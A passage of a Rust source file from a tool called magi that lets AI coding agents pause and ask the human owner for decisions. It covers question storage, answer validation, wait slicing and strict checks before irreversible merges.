Skip to main content

magi/
ask.rs

1//! Questions: what an agent does when the next decision is the owner's.
2//!
3//! An agent that reaches a fork it has no authority to take - which storage
4//! backend, whether a breaking change is acceptable, which of two readings of
5//! the task is meant - has two options. It can guess, and produce an
6//! implementation the owner throws away; or it can stop and ask. This module is
7//! the second option, and it is the reason the graph can be left alone
8//! overnight without also being left to invent product decisions.
9//!
10//! Stopping is cheap on purpose. The run parks as [`RunStatus::Waiting`], which
11//! [`crate::daemon::settle`] refunds, so a question does not spend a task's
12//! retry budget: an operator who asks twice would otherwise come back to a held
13//! task that never had a line of code judged.
14//!
15//! # Shape
16//!
17//! Deliberately the same split as [`crate::queue`]. [`Question`] is data plus
18//! *pure* transitions - [`Question::answer`] is where a phone posting a choice
19//! the question never offered is rejected, and it touches no disk. [`Questions`]
20//! owns all I/O and is constructed with its root, so a test drives a real store
21//! in a temp directory without touching the operator's real home.
22//!
23//! One question is one JSON file under [`Questions`]'s root, written atomically.
24//! Files rather than a database because three processes read and write these
25//! records - the run that asked, `magi web` serving the phone, and `magi answer`
26//! at a terminal - and a rename is the only cross-process atomic write that
27//! needs no coordination between them. It is also why the wait below polls: the
28//! answer arrives in a file written by a process this one has no channel to.
29//!
30//! [`RunStatus::Waiting`]: crate::run::RunStatus::Waiting
31
32use std::path::{Path, PathBuf};
33use std::time::Duration;
34
35use anyhow::{Context, Result, bail};
36use jiff::Timestamp;
37use serde::{Deserialize, Serialize};
38
39use crate::config;
40use crate::proc::Quiet as _;
41use crate::run::RunStatus;
42
43/// On-disk format for a question. Bumped when a field's meaning changes, or -
44/// as with [`Question::thread`], [`Question::answer_timeout`] and now the
45/// waiter bookkeeping ([`Question::cwd`], [`Question::waiter`],
46/// [`Question::delivered_turns`], [`Question::answer_delivered`]) - when a
47/// new field is added that a much older magi has no notion of at all.
48///
49/// The web UI is written against this shape by hand - there is no shared schema
50/// between the front end and this struct - so a field that changes meaning
51/// without a bump here is a UI that lies silently.
52///
53/// A file is refused only when its own `schema` is *greater* than this one -
54/// see [`read_path`] - never merely different: `#[serde(default)]` on every
55/// field added since 1 is what makes an older file's absence of `thread` mean
56/// "no conversation yet" rather than "unreadable", and a strict equality check
57/// would turn every bump into an upgrade that breaks reading yesterday's
58/// question files.
59/// Schema 8 adds optional local posting comparison data. Older questions use Markdown.
60/// Schema 9 preserves individual original triggers inside whole-field replacements.
61/// Schema 10 records the operator decision generation for built-in triage.
62/// Schema 11 binds merge decisions to the displayed PR and head.
63pub const SCHEMA: u32 = 11;
64
65/// How often the wait re-reads the question file.
66///
67/// Three seconds: the answer comes from a human on a phone, so the difference
68/// between three seconds and three hundred milliseconds is invisible to them,
69/// while a tight loop would `stat` and parse a file thousands of times per
70/// minute for a wait that routinely lasts hours. Nothing is held between polls -
71/// no lock, no open handle - because `magi web` and `magi answer` write the
72/// same file from other processes.
73const POLL: Duration = Duration::from_secs(3);
74
75/// How long an agent's reply may go unnoticed before it earns its own
76/// notification.
77///
78/// An operator reading the card when the agent replies does not need paging
79/// again for a conversation they are already in; one who walked away still
80/// needs the tap on the shoulder. Five minutes is a judgement call about that
81/// line, not a policy a repository has an opinion about, which is why it lives
82/// here rather than in `magi.toml`: the operator cannot tell from `magi.toml`
83/// whether they are still looking at the phone, and neither can this build, so
84/// there is nothing for a per-repository setting to be *right* about.
85const REPLY_QUIET_WINDOW: Duration = Duration::from_secs(5 * 60);
86
87/// How long the operator's notification command may run before it is killed.
88///
89/// A webhook that hangs must not hang the run. Twenty seconds is long enough
90/// for a slow HTTP round trip and short enough that the operator still gets the
91/// question filed and the run parked in a bounded time.
92const NOTIFY_TIMEOUT: Duration = Duration::from_secs(20);
93
94/// The longest a single `magi ask` invocation may block on the owner before
95/// it hands the wait back to whatever is running it, rather than to
96/// [`Question::abandon`].
97///
98/// `answer_timeout` defaults to a day, and that is a deadline for the
99/// *question*, not a budget the calling process is free to spend all at
100/// once: an agent CLI's own shell tool kills a command that runs much longer
101/// than this, and the child it kills is `magi ask` itself - the one thing
102/// that would have read the owner's answer. Run 20260908-205802-c9eb is what
103/// that looks like end to end: seat `impl-A` asked, its tool timed the wait
104/// out, and the seat's own summary said it had backgrounded the blocking
105/// `magi ask` and would "continue once the owner replies" - except nothing
106/// was left to notice the reply. The seat exited `completed`, the
107/// backgrounded child died with it, and the owner's eventual answer on the
108/// web UI had nobody left to read it.
109///
110/// So a wait is sliced instead: this call blocks for at most `WAIT_SLICE`
111/// and returns [`Wait::Pending`] if nothing happened, which is not a
112/// failure - the caller runs `magi ask --wait <id>` again, in a fresh
113/// process the tool timeout has never seen. Four minutes leaves a ten-minute
114/// tool budget room for the CLI's own startup and the notification's round
115/// trip, while staying long enough that an owner who answers within the hour
116/// is not making an agent loop through fifteen slices to hear about it.
117const WAIT_SLICE: Duration = Duration::from_secs(240);
118
119/// How long a lease stays believable after its last beat.
120///
121/// Longer than [`WAIT_SLICE`]'s hand-back gap by a wide margin: a slice that
122/// ends with [`Wait::Pending`] leaves the asking agent a moment to call
123/// `magi ask --wait` again, and a reply leaves it a moment to call `--thread`.
124/// A holder that beats every [`POLL`] and is silent for ninety seconds is gone
125/// or about to be, and a lease that is merely between two calls must not be
126/// mistaken for that - the daemon waiter would start a second agent on a
127/// conversation the first is still in.
128pub const LEASE_TTL: Duration = Duration::from_secs(90);
129
130/// How long [`Questions::update`]'s lock may be held before it is presumed
131/// left behind by a writer that died.
132const LOCK_STALE: Duration = Duration::from_secs(10);
133
134/// Environment variable naming the base URL of the web UI, for `{url}`.
135///
136/// A run cannot discover this by itself: `magi web` is a different process,
137/// usually started by hand and often on a different machine on the tailnet, and
138/// the address it settled on (Tailscale IP, port, or the fallback it warned
139/// about) exists only in that process. So the operator names it once, in the
140/// environment `magi serve` runs in - `magi web --open` prints exactly the
141/// string to use on stdout. Unset means `{url}` expands to nothing rather than
142/// to a guess: a notification carrying a link to an address nothing is
143/// listening on is worse than one carrying no link at all.
144pub const WEB_URL_ENV: &str = "MAGI_WEB_URL";
145
146/// Largest panel magi will store, html plus assets.
147///
148/// Checked as a total, before a single byte is written, because the failure
149/// this prevents is not a full disk but a half-copied panel: an agent that
150/// points at a 200 MB screen recording must get one clean error, not a
151/// directory holding the three small files that fitted before the copy died.
152/// Eight mebibytes is far more than a diff, a table and a handful of images
153/// need, and small enough that a phone on a hotel link still renders it.
154pub const PANEL_MAX_BYTES: u64 = 8 * 1024 * 1024;
155
156/// Suffix of the directory holding one question's panel.
157///
158/// A sibling of `<id>.json` rather than a subdirectory of the store, so
159/// [`Questions::list`] - which takes every `*.json` in the root - cannot ever
160/// see it, and so a panel travels with the question it belongs to.
161const PANEL_DIR: &str = ".panel";
162
163/// The panel's entry point inside its directory.
164const PANEL_HTML: &str = "index.html";
165
166/// Scratch directory a panel is assembled in before it is swapped into place.
167const PANEL_TMP: &str = ".panel.tmp";
168
169/// The one asset filename rule, applied on write **and** on read.
170///
171/// Exactly `^[A-Za-z0-9][A-Za-z0-9._-]{0,63}$`, and additionally never
172/// containing `..`. The pattern is this narrow because the name arrives from
173/// two untrusted directions and is then joined onto a path: an agent naming
174/// the asset, and a URL naming it back to [`Questions::panel_asset`]. Every
175/// character that could change what the join means is outside the set - `/`
176/// and `\` cannot appear, so no name can descend or escape; a leading `.` is
177/// refused, so no name can be `..`, `.` or a dotfile; a drive letter's `:` is
178/// refused, which matters because on Windows `Path::join` with an absolute
179/// path *discards the whole prefix* and would serve any file on the disk.
180/// `..` is refused anywhere rather than only at the front so the rule reads
181/// the same as the sentence "no traversal" to anyone auditing it.
182///
183/// The length bound keeps a name inside every filesystem's limit, so a panel
184/// that stores cannot fail to store on the operator's other machine.
185pub fn valid_asset_name(name: &str) -> bool {
186    if name.is_empty() || name.len() > 64 || name.contains("..") {
187        return false;
188    }
189    let mut chars = name.chars();
190    chars.next().is_some_and(|c| c.is_ascii_alphanumeric())
191        && chars.all(|c| c.is_ascii_alphanumeric() || matches!(c, '.' | '_' | '-'))
192}
193
194/// Where a question is in its life.
195#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
196#[serde(rename_all = "lowercase")]
197pub enum QuestionStatus {
198    /// Asked, and waiting for the owner. A run is parked behind it.
199    Open,
200    /// The owner decided. [`Question::answer`] holds what they said.
201    Answered,
202    /// Nobody answered in time, or the question outlived the run that asked.
203    /// Kept rather than deleted: what was asked and never answered is the
204    /// evidence that the operator was the bottleneck.
205    Abandoned,
206}
207
208impl QuestionStatus {
209    /// Is a run still parked behind this question?
210    pub fn open(self) -> bool {
211        matches!(self, Self::Open)
212    }
213
214    /// Lowercase name, as it appears on disk and in the API.
215    pub fn as_str(self) -> &'static str {
216        match self {
217            Self::Open => "open",
218            Self::Answered => "answered",
219            Self::Abandoned => "abandoned",
220        }
221    }
222}
223
224/// What the owner said.
225///
226/// Two shapes rather than one string because the question decides which is
227/// admissible, and [`Question::answer`] enforces it. A phone that posts
228/// `{"choice": "Redis"}` to a question that never offered Redis is a bug in the
229/// front end, and it is caught here rather than handed to an agent as fact.
230#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
231#[serde(rename_all = "lowercase")]
232pub enum Answer {
233    /// One of the offered choices, verbatim.
234    Choice(String),
235    /// Free text, for a question that offered no choices.
236    Text(String),
237}
238
239/// What the daemon does to the task behind a question when a particular
240/// choice is answered.
241///
242/// A closed set, attached to a choice by the asker (`magi ask --choice X
243/// --action X=resume`) and matched by the choice's exact text. Nothing here
244/// is ever derived from the wording of a label or of a free-text answer: a
245/// question without an action for the chosen label does nothing but answer.
246#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
247#[serde(tag = "do", rename_all = "lowercase")]
248pub enum ChoiceAction {
249    /// Resume this run of the task that owns the question.
250    Resume {
251        /// The run to continue. Must still be the task's latest run.
252        run: String,
253    },
254    /// Requeue the task as a fresh competition.
255    Requeue,
256    /// Close the task as done.
257    Done,
258}
259
260impl ChoiceAction {
261    /// Parse a `--action` value: `<label>=<verb>`, where the verb is
262    /// `resume[:<run>]`, `requeue` or `done`. A `resume` without a run takes
263    /// `default_run` (the asker's own `MAGI_RUN`). Returns the label and its
264    /// action; whether the label is one of the choices is the caller's check.
265    pub fn parse(spec: &str, default_run: &str) -> Result<(String, Self)> {
266        let Some((label, verb)) = spec.rsplit_once('=') else {
267            bail!("`--action {spec}` must look like `<choice>=<resume[:run]|requeue|done>`");
268        };
269        let label = label.trim();
270        if label.is_empty() {
271            bail!("`--action {spec}` names no choice before `=`");
272        }
273        let verb = verb.trim();
274        let action = match verb.split_once(':') {
275            Some(("resume", run)) if !run.trim().is_empty() => Self::Resume {
276                run: run.trim().to_owned(),
277            },
278            None if verb == "resume" => {
279                if default_run.is_empty() {
280                    bail!("`--action {spec}` names no run and MAGI_RUN is not set");
281                }
282                Self::Resume {
283                    run: default_run.to_owned(),
284                }
285            }
286            None if verb == "requeue" => Self::Requeue,
287            None if verb == "done" => Self::Done,
288            _ => bail!(
289                "unknown action `{verb}` in `--action {spec}`; \
290                 use resume[:<run>], requeue or done"
291            ),
292        };
293        Ok((label.to_owned(), action))
294    }
295
296    /// Short human wording, for `magi show` and the card.
297    pub fn describe(&self) -> String {
298        match self {
299            Self::Resume { run } => format!("resume run {}", short(run)),
300            Self::Requeue => "requeue the task".to_owned(),
301            Self::Done => "mark the task done".to_owned(),
302        }
303    }
304}
305
306/// Parse every `--action` value against the offered `choices`, refusing a
307/// label the question does not offer (it could never fire).
308pub fn parse_actions(
309    specs: &[String],
310    choices: &[String],
311    default_run: &str,
312) -> Result<std::collections::BTreeMap<String, ChoiceAction>> {
313    let mut out = std::collections::BTreeMap::new();
314    for spec in specs {
315        let (label, action) = ChoiceAction::parse(spec, default_run)?;
316        if !choices.contains(&label) {
317            bail!(
318                "`--action {spec}`: `{label}` is not one of the --choice values ({})",
319                choices.join(", ")
320            );
321        }
322        if out.insert(label.clone(), action).is_some() {
323            bail!("more than one --action for `{label}`");
324        }
325    }
326    Ok(out)
327}
328
329/// Who wrote one turn of a question's conversation.
330///
331/// Two values, not three: [`Question::thread`] is the record of a single
332/// question stopping and resuming, and the agent that resumes it is always
333/// the one that asked - a fresh consultant would have to be caught up on
334/// everything the first agent already knows, which is the round trip this
335/// module exists to avoid. The names and the wire spelling deliberately match
336/// [`crate::chat::Who`], which this module does not depend on: the two are the
337/// same idea in two products, and giving them the same shape is what lets the
338/// phone render both with one component.
339#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
340#[serde(rename_all = "lowercase")]
341pub enum Who {
342    /// The person the agent asked.
343    Operator,
344    /// The agent that asked, replying to a question of its own rather than
345    /// answering.
346    Agent,
347}
348
349/// One turn in a question's back-and-forth, after the question itself was
350/// asked.
351///
352/// The question's own `summary`/`detail`/`choices` already carry the agent's
353/// opening move, so a turn only exists from the moment the owner talks back -
354/// [`Question::thread`] starts empty and stays that way for the overwhelming
355/// majority of questions, which are answered on the first read.
356#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
357#[serde(deny_unknown_fields)]
358pub struct Turn {
359    /// Who said it.
360    pub who: Who,
361    /// What they said.
362    pub body: String,
363    /// When they said it.
364    pub at: Timestamp,
365    /// A deputy's own report beside a settle: side effects it caused and
366    /// requests it could not carry out. The deputy's claim, never checked by
367    /// magi, and kept apart from `body` so the verified "Settled as" line and
368    /// this self-report cannot be mistaken for each other.
369    #[serde(default, skip_serializing_if = "Option::is_none")]
370    pub note: Option<String>,
371}
372
373/// Who is keeping watch over an open question.
374#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
375#[serde(rename_all = "lowercase")]
376pub enum WaiterKind {
377    /// The `magi ask` process the agent started.
378    Asker,
379    /// The `magi serve` waiter ([`crate::waiter`]), resuming the asking seat's
380    /// own session because the asker is gone.
381    Daemon,
382    /// The question's deputy ([`crate::deputy`]): a short-lived seat that
383    /// `magi serve` runs for a question the conductor filed, so that something
384    /// which remembers why it was asked is on the other end.
385    Deputy,
386}
387
388/// The follow-up seat a conductor question hands its wait to.
389///
390/// The conductor itself never waits (see [`crate::conduct`]), so a free-text
391/// reply to its question would reach nobody. A deputy is a seat of its own -
392/// keyed `deputy-<question id>`, never the conductor's shared seat - that
393/// inherits what the conductor knew about this one question ([`Deputy::brief`])
394/// and blocks on it with `magi ask --wait`. Persisted on the question so a
395/// restarted daemon resumes the same CLI conversation instead of assuming it.
396///
397/// Written only through [`Questions::update`]: the owner's say and answer land
398/// on the same file.
399#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
400pub struct Deputy {
401    /// Why the question was asked, what each choice leads to: the conductor's
402    /// context for this one question, handed to the deputy in its prompt.
403    pub brief: String,
404    /// The agent that holds the seat. Empty until the first start.
405    #[serde(default)]
406    pub agent: String,
407    /// The deputy's own conversation. `None` until the first start.
408    #[serde(default)]
409    pub seat: Option<crate::agent::SeatState>,
410    /// How many times a deputy turn was started for this question. Never reset
411    /// by a restart, so a deputy that keeps dying is bounded.
412    #[serde(default)]
413    pub starts: u32,
414}
415
416impl Deputy {
417    /// A deputy that has not started yet, holding `brief`.
418    pub fn new(brief: String) -> Self {
419        Self {
420            brief,
421            agent: String::new(),
422            seat: None,
423            starts: 0,
424        }
425    }
426}
427
428/// Seat name of the deputy for question `id`.
429pub fn deputy_seat_key(id: &str) -> String {
430    format!("deputy-{}", short(id))
431}
432
433/// The record's note of who was last known to be waiting.
434///
435/// A note, not a promise: nothing rewrites the question when a holder dies, so
436/// whether it still holds is read from the [`Lease`] beside it.
437#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
438pub struct Waiter {
439    /// Who took the wait.
440    pub kind: WaiterKind,
441    /// When they took it.
442    pub since: Timestamp,
443}
444
445/// A sidecar (`<id>.lease`) saying that something is alive and waiting.
446///
447/// A sidecar rather than a field of the question because a holder beats every
448/// few seconds, and rewriting the question that often would race the phone's
449/// answer and say with lost updates. It is not `*.json`, so
450/// [`Questions::list`] never sees it. No pid check: pids are reused and mean
451/// different things across platforms, while a beat that stopped is evidence on
452/// every one.
453#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
454pub struct Lease {
455    /// Who beat last.
456    pub kind: WaiterKind,
457    /// Their process id, for a human reading the file.
458    pub pid: u32,
459    /// When they beat last.
460    pub beat_at: Timestamp,
461}
462
463impl Lease {
464    /// Was the last beat recent enough to believe the holder is still there?
465    pub fn fresh(&self, now: Timestamp) -> bool {
466        now.as_second() - self.beat_at.as_second() <= LEASE_TTL.as_secs() as i64
467    }
468}
469
470/// One decision magi will not take on the owner's behalf.
471#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
472#[serde(deny_unknown_fields)]
473pub struct Question {
474    /// On-disk format version.
475    pub schema: u32,
476    /// Question id, e.g. `20260902-231501-ab12`. Same shape as a run's and a
477    /// task's, so the operator can paste any of them at any prefix argument.
478    pub id: String,
479    /// Run that is parked behind this question.
480    pub run: String,
481    /// Graph node the asking agent was working in, e.g. `implement`.
482    pub node: String,
483    /// Seat that asked, e.g. `impl-A`. Recorded because "which agent needs
484    /// this" decides whether the answer unblocks one candidate or all of them.
485    pub seat: String,
486    /// One line: the question itself. This is what a notification carries and
487    /// what the phone shows above the answer controls.
488    pub summary: String,
489    /// The reasoning behind the question, as markdown. May be long, may be
490    /// empty. Rendered as text nodes by the UI, never as markup.
491    pub detail: String,
492    /// Display-only comparison; never used to decide or construct a post.
493    #[serde(default, skip_serializing_if = "Option::is_none")]
494    pub posting_comparison: Option<crate::github_text::PostingComparison>,
495    /// The admissible answers. **Empty means free text** - that one condition
496    /// is the whole difference between the two kinds of question, on disk, in
497    /// the UI, and in [`Question::answer`]'s validation.
498    pub choices: Vec<String>,
499    /// Exact PR and head displayed to the owner. Absent on legacy questions.
500    #[serde(default)]
501    pub merge_target: Option<crate::merge_decision::Target>,
502    /// What the daemon does when a given choice is answered, keyed by the
503    /// choice's exact text. Empty for an ordinary question. A key is always
504    /// one of [`Question::choices`]; `#[serde(default)]` so older files read.
505    #[serde(default)]
506    pub actions: std::collections::BTreeMap<String, ChoiceAction>,
507    /// Does this question have an agent-authored HTML panel beside it?
508    ///
509    /// Serialised with a default so a question written by an older magi - or
510    /// by hand - still deserialises rather than failing the whole store, which
511    /// under [`Questions::list`]'s skip-unreadable rule would quietly hide the
512    /// open question the operator was looking for.
513    #[serde(default)]
514    pub panel: bool,
515    /// Files copied in beside the panel's html, by base name, sorted.
516    ///
517    /// The list exists so a reader knows what a panel is made of without
518    /// walking the directory, and every entry satisfies [`valid_asset_name`].
519    /// Sorted because it is compared - a question re-asked with the same
520    /// assets in a different argument order is not a different question.
521    #[serde(default)]
522    pub assets: Vec<String>,
523    /// Current state.
524    pub status: QuestionStatus,
525    /// When the agent asked.
526    pub asked_at: Timestamp,
527    /// Operator decision generation when a built-in triage question was filed.
528    #[serde(default)]
529    pub triage_generation: Option<u64>,
530    /// When the owner answered, if they did.
531    pub answered_at: Option<Timestamp>,
532    /// What they said.
533    pub answer: Option<Answer>,
534    /// Everything said after the question itself, oldest first: the owner
535    /// asking back, the agent replying, as many times as it takes before an
536    /// [`Answer`] lands.
537    ///
538    /// `#[serde(default)]` so a question written before this field existed -
539    /// every question on disk before this build - still deserialises as one
540    /// with no conversation yet, rather than failing [`Questions::list`]'s
541    /// read and quietly hiding an open question from the operator.
542    #[serde(default)]
543    pub thread: Vec<Turn>,
544    /// The `answer_timeout`, in seconds, that was in force when this question
545    /// was first asked. `0` means unrecorded - a question written before this
546    /// field existed, or one filed by a flow (land's merge-approval gate)
547    /// that never sets it because it never resumes a sliced wait.
548    ///
549    /// [`Question::new`] cannot know this - the effective timeout (`--timeout`,
550    /// or the config default) is decided by the caller, after the question
551    /// already exists - so it starts at `0` here and whoever files a fresh
552    /// question sets it once, the same way [`Question::panel`] is set by
553    /// [`Questions::put_panel`] rather than by the constructor. It is never
554    /// touched again: `magi ask --wait` reads it as the one deadline it is
555    /// allowed to enforce, precisely so that a `--timeout` given (or omitted)
556    /// on a later call can never quietly extend or shrink the budget the
557    /// question was actually asked with.
558    #[serde(default)]
559    pub answer_timeout: u64,
560    /// The directory the asking agent was working in when it asked, so the
561    /// daemon waiter can resume that agent's session from where it stood.
562    /// `None` for a question no `magi ask` filed (land's approval gate, a
563    /// release notice, one written before this field existed): those have no
564    /// agent to hand anything back to, and the waiter leaves them alone.
565    #[serde(default)]
566    pub cwd: Option<String>,
567    /// Who was last known to be waiting - see [`Waiter`].
568    #[serde(default)]
569    pub waiter: Option<Waiter>,
570    /// How many entries of [`Question::thread`] the agent has been shown, by
571    /// the asking process printing them or by the waiter resuming the seat.
572    /// The owner's turn at an index at or past this has reached nobody yet.
573    #[serde(default)]
574    pub delivered_turns: usize,
575    /// Has the agent been told the [`Answer`]? The asker prints it as it
576    /// returns; the waiter delivers it when the asker was gone.
577    #[serde(default)]
578    pub answer_delivered: bool,
579    /// The follow-up seat waiting on this question, for a question the
580    /// conductor filed. `None` for every other question.
581    #[serde(default)]
582    pub deputy: Option<Deputy>,
583    /// Set once the owner handed this question to the chat it came from
584    /// ([`crate::consult::begin`]). The question stays open; this only records
585    /// that the chat was asked, so a second tap does not post it twice.
586    #[serde(default)]
587    pub consult: Option<ChatConsult>,
588    /// Persisted owner evidence for a standing conversation answer.
589    #[serde(default, skip_serializing_if = "Option::is_none")]
590    pub answer_authority: Option<crate::consult::AnswerAuthority>,
591    /// Independent task facts behind a conductor question. Answered questions
592    /// with unchanged facts must not be regenerated just to ask again.
593    #[serde(default)]
594    pub decision_context: Option<String>,
595}
596
597/// A question the owner passed to the chat conversation its task came from.
598#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
599pub struct ChatConsult {
600    /// The conversation the question was posted into.
601    pub talk: String,
602    /// When it was posted.
603    pub at: Timestamp,
604}
605
606impl Question {
607    /// Does `run` hold a task id rather than a run id? True for the
608    /// conductor's and the triage questions, which are filed about a task.
609    pub fn run_names_task(&self) -> bool {
610        matches!(
611            self.node.as_str(),
612            crate::conduct::NODE | crate::triage::NODE | crate::triage::DEPS_NODE
613        )
614    }
615
616    /// Ask something. Persist it with [`Questions::put`], or hand it to
617    /// [`ask_and_wait`], which files it and waits.
618    pub fn new(
619        run: String,
620        node: String,
621        seat: String,
622        summary: String,
623        detail: String,
624        choices: Vec<String>,
625    ) -> Self {
626        Self {
627            schema: SCHEMA,
628            id: new_id(),
629            run,
630            node,
631            seat,
632            summary,
633            detail,
634            posting_comparison: None,
635            choices,
636            merge_target: None,
637            actions: std::collections::BTreeMap::new(),
638            panel: false,
639            assets: Vec::new(),
640            status: QuestionStatus::Open,
641            asked_at: Timestamp::now(),
642            triage_generation: None,
643            answered_at: None,
644            answer: None,
645            thread: Vec::new(),
646            answer_timeout: 0,
647            cwd: None,
648            waiter: None,
649            delivered_turns: 0,
650            answer_delivered: false,
651            deputy: None,
652            consult: None,
653            answer_authority: None,
654            decision_context: None,
655        }
656    }
657
658    /// Short form used in reports and on the phone, matching a run's short id.
659    pub fn short(&self) -> &str {
660        short(&self.id)
661    }
662
663    /// The action attached to the choice that was answered, if the question
664    /// is answered with a choice that carries one. Free text never matches.
665    pub fn chosen_action(&self) -> Option<&ChoiceAction> {
666        match (&self.status, &self.answer) {
667            (QuestionStatus::Answered, Some(Answer::Choice(c))) => self.actions.get(c),
668            _ => None,
669        }
670    }
671
672    /// Does this question want free text rather than one of a set?
673    pub fn free_text(&self) -> bool {
674        self.choices.is_empty()
675    }
676
677    /// Record an answer. Rejects a choice the question does not offer, free
678    /// text on a multiple-choice question, an empty answer, and a second
679    /// answer.
680    ///
681    /// Every rejection here is a case where accepting would put a fabrication
682    /// in front of an agent as if the owner had said it. The messages are
683    /// distinct because the caller is a web handler that shows them verbatim,
684    /// and "that is not one of the choices" and "this question is multiple
685    /// choice" are different mistakes with different fixes.
686    pub fn answer(&mut self, answer: Answer) -> Result<()> {
687        match self.status {
688            QuestionStatus::Answered => bail!(
689                "question {} was already answered; the run has moved on and a \
690                 second answer would be a decision nobody acted on",
691                self.short()
692            ),
693            QuestionStatus::Abandoned => bail!(
694                "question {} was abandoned and the run behind it is gone",
695                self.short()
696            ),
697            QuestionStatus::Open => {}
698        }
699        let body = match &answer {
700            Answer::Choice(c) | Answer::Text(c) => c.as_str(),
701        };
702        if body.trim().is_empty() {
703            bail!(
704                "question {} needs an answer; an empty one tells the agent \
705                 nothing and it would guess anyway",
706                self.short()
707            );
708        }
709        match &answer {
710            Answer::Choice(c) if self.free_text() => bail!(
711                "question {} asks for free text, so `{c}` cannot be a choice \
712                 it offered",
713                self.short()
714            ),
715            Answer::Choice(c) if !self.choices.iter().any(|o| o == c) => bail!(
716                "`{c}` is not one of the choices question {} offers: {}",
717                self.short(),
718                self.choices.join(", ")
719            ),
720            Answer::Text(_) if !self.free_text() => bail!(
721                "question {} is multiple choice; answer with one of: {}",
722                self.short(),
723                self.choices.join(", ")
724            ),
725            _ => {}
726        }
727        self.answered_at = Some(Timestamp::now());
728        self.answer = Some(answer);
729        self.status = QuestionStatus::Answered;
730        Ok(())
731    }
732
733    /// Give up on an answer, keeping the record of what was asked.
734    ///
735    /// An answered question is left alone, which matters at exactly one moment:
736    /// the owner answering in the same second the wait's deadline passes. The
737    /// answer is the thing worth keeping there, and it has already been written
738    /// by another process.
739    ///
740    /// The reason is appended to [`Question::detail`] because the on-disk shape
741    /// is a contract with the front end and has no field of its own for it -
742    /// and "asked at 3am, nobody home for a day" belongs with the question, not
743    /// only in a log the operator will never open.
744    pub fn abandon(&mut self, why: impl Into<String>) {
745        if !self.status.open() {
746            return;
747        }
748        self.status = QuestionStatus::Abandoned;
749        let why = why.into();
750        let why = why.trim();
751        if why.is_empty() {
752            return;
753        }
754        if !self.detail.is_empty() {
755            self.detail.push('\n');
756        }
757        self.detail.push_str("\n_Abandoned: ");
758        self.detail.push_str(why);
759        self.detail.push_str("._\n");
760    }
761
762    /// The answer as the asking agent should read it.
763    ///
764    /// One string for both kinds of question: the agent's prompt says "the
765    /// owner answered:", and a chosen option and a typed sentence are the same
766    /// thing at that point. `None` while the question is open or abandoned, so
767    /// a caller cannot mistake silence for a decision.
768    pub fn resolution(&self) -> Option<String> {
769        match (self.status, &self.answer) {
770            (QuestionStatus::Answered, Some(Answer::Choice(a) | Answer::Text(a))) => {
771                Some(a.clone())
772            }
773            _ => None,
774        }
775    }
776
777    /// A deputy recording that the owner's own words settled the question.
778    ///
779    /// The owner decided in free text ("setup done") on a question that offers
780    /// choices, so no choice was ever tapped. This records `label` as the
781    /// answer - and nothing else: applying it is the daemon's existing path
782    /// for an answered conductor question. Refused unless the caller is this
783    /// question's deputy seat, `label` is one of the offered choices, and
784    /// `quote` appears verbatim in something the owner said; the quote is
785    /// kept in the thread as an agent turn so the record shows what the
786    /// decision rests on.
787    pub fn settle_by_deputy(
788        &mut self,
789        seat: &str,
790        label: &str,
791        quote: &str,
792        note: Option<&str>,
793    ) -> Result<()> {
794        let Some(deputy) = &self.deputy else {
795            bail!("question {} has no deputy", self.short());
796        };
797        let own = deputy.seat.as_ref().map(|s| s.key.as_str());
798        if own != Some(seat) {
799            bail!("only the deputy of question {} may settle it", self.short());
800        }
801        if !self.choices.iter().any(|c| c == label) {
802            bail!(
803                "`{label}` is not one of the choices offered on question {}",
804                self.short()
805            );
806        }
807        let quote = quote.trim();
808        if quote.is_empty()
809            || !self
810                .thread
811                .iter()
812                .any(|t| t.who == Who::Operator && t.body.contains(quote))
813        {
814            bail!(
815                "the quote is not something the owner said on question {}",
816                self.short()
817            );
818        }
819        // The owner's latest message is what counts (an earlier one may since
820        // have been qualified or withdrawn).
821        let latest = self
822            .thread
823            .iter()
824            .rev()
825            .find(|t| t.who == Who::Operator)
826            .map(|t| {
827                if self.node == crate::github_text::ASK_NODE && !crate::deputy::merge_gated(self) {
828                    t.body.as_str()
829                } else {
830                    t.body.trim()
831                }
832            });
833        if crate::deputy::merge_gated(self) {
834            // The merge is irreversible and a say is not a decision. `hold` must
835            // be the latest message exactly. For `merge`, whether the words are
836            // a clear, unhedged instruction is the deputy's judgement alone;
837            // all magi checks is that the quote is a verbatim part of that
838            // latest message.
839            let ok = if label == crate::land::APPROVE {
840                latest.is_some_and(|m| match &self.merge_target {
841                    Some(target) => m == format!("merge {}", target.head) && quote == m,
842                    None => m.contains(quote),
843                })
844            } else {
845                latest.is_some_and(|m| crate::merge_decision::exact_owner_choice(label, m, quote))
846            };
847            if !ok {
848                bail!(
849                    "on a merge approval `{label}` settles it only when the quote is a \
850                     verbatim part of the owner's latest message ({}); if the wording is \
851                     doubtful, ask what they mean with `--thread` instead",
852                    if label == crate::land::HOLD {
853                        "for `hold`, the whole message"
854                    } else {
855                        "the quote must be the instruction itself"
856                    }
857                );
858            }
859        } else if self.node == crate::github_text::ASK_NODE
860            && crate::deputy::destructive(self, label)
861        {
862            if !latest.is_some_and(|m| crate::github_text::posting_authorized(m, quote, label)) {
863                bail!(
864                    "posting confirmation requires an explicit, unconditional instruction for the chosen text quoted verbatim from the latest owner message"
865                );
866            }
867        } else if crate::deputy::destructive(self, label)
868            && !latest.is_some_and(|m| crate::land::unhedged(m, quote))
869        {
870            bail!(
871                "`{label}` cannot be undone; it settles question {} only when the owner's \
872                 latest message clearly says so, unhedged and quoted verbatim (no maybe / if \
873                 / not / question); ask what they mean with `--thread` instead",
874                self.short()
875            );
876        }
877        self.thread.push(Turn {
878            who: Who::Agent,
879            body: format!("Settled as `{label}` on the owner's words: \"{quote}\""),
880            at: Timestamp::now(),
881            note: note
882                .map(str::trim)
883                .filter(|n| !n.is_empty())
884                .map(str::to_owned),
885        });
886        self.delivered_turns = self.thread.len();
